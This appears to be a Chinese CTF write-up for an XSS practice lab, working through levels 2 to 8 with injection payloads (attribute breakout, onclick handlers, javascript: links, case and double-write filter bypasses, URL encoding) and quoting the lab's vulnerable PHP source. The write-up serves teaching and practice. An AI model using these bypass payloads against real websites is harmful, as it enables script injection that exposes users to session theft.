当前位置:网站首页>CTF-XSS
CTF-XSS
2022-08-02 14:03:00 【H2223】
环境源码
链接:https://pan.baidu.com/s/1qaSY5PbU8qwgBzbssGv4IA
提取码:6elk
使用phpstudy运行
level2

先写随便写一些字符
<input name="keyword" value="1">
发现字符出现在了双引号中

输入1">发现">逃逸出双引号了
输入1"><script>alert(1)</script><"
<input name="keyword" value="1"><script>alert(1)</script><"">输入在HTML里是这样的
这样<script>alert(1)</script>就逃逸出""和<>了
level3

到第三关,第二关的语句就失效了
看看后端代码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
发现他使用了htmlspecialchars这个函数,htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体
htmlspecialchars(string,flags,character-set,double_encode)
在该函数中的第二个参数规定如何处理引号,默认是只处理双引号,不处理单引号
在代码中的函数没有第二个参数,他没有处理单引号,我们可以用单引号逃逸出来,但<script>标签有<>也会被过滤,可以使用onclick
1'οnclick='alert(1)
level4

第四关对<script>标签有过滤,使用onclick就行
1'οnclick='alert(1)
level5
输入1'οnclick='alert(1)
<input name="keyword" value="1'o_nclick='alert(1)">输入1"><script>alert(1)</script><"
<scr_ipt>alert(1)<"">
<input type="submit" name="submit" value="搜索">
</scr_ipt>分别对on和script有过滤
可以使用a标签和JavaScript伪协议
a"><a href="javascript:alert(1)">aaaaa</a>
level6

查看前端代码
<input name="keyword" value="a">
<a hr_ef="javascript:alert(1)">aaaaa</a>发现href被过滤了
查看源代码
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);发现过滤了很多标签,但没过滤大小写
1"ONCLICK="alert(1)
level7
输入a"><a href="javascript:alert(1)">aaaaa</a>
<a ="java:alert(1)"="">aaaaa</a>发现script直接没了
1"ONCLICK="alert(1)也不行
试试双写
1"OONNCLICK="alert(1)
成功了
level8
这是一个友情链接,要在其中输入javascript:alert(1)
但script被过滤了,双写,大小写都不行
可以使用urlencode编码
javascript:alert(1)
边栏推荐
- redis delay queue
- [ROS](03)CMakeLists.txt详解
- Raj delivery notes - separation 第08 speak, speaking, reading and writing
- C语言一级指针(补)
- Deep learning framework pytorch rapid development and actual combat chapter4
- C语言初级—用一角,两角,五角和一元组成3.5元有多少种组合方法
- Network pruning (1)
- Flask-RESTful request response and SQLAlchemy foundation
- Unit 3 view layer
- uniCloud 未能获取当前用户信息:30205 | 当前用户为匿名身份
猜你喜欢
随机推荐
加减法运算及其溢出处理
我的第一篇博客
执行栈和执行上下文
PHP open source customer service system _ online customer service source code PHP
drf source code analysis and global catch exception
Error Correction Design Principle of Hamming Check Code
The specific operation process of cloud GPU (Hengyuan cloud) training
C语言初级—水仙花数
St. Regis Takeaway Notes - Lecture 10 Swagger
原码、反码、补码和移码
Implementation of redis distributed lock and watchdog
C语言待解决
[ROS] (06) ROS Communication - Topic Communication
[ROS](06)ROS通信 —— 话题(Topic)通信
chapter6可视化(不想看版)
verilog学习|《Verilog数字系统设计教程》夏宇闻 第三版思考题答案(第十二章)
Flask framework in-depth
MobileNet ShuffleNet & yolov5 replace backbone
浅浅写一下PPOCRLabel的使用及体验
线性代数期末复习存档









![[ROS]ROS常用工具介绍(待续)](/img/ea/e390106f750bf697e62a3a296014d2.png)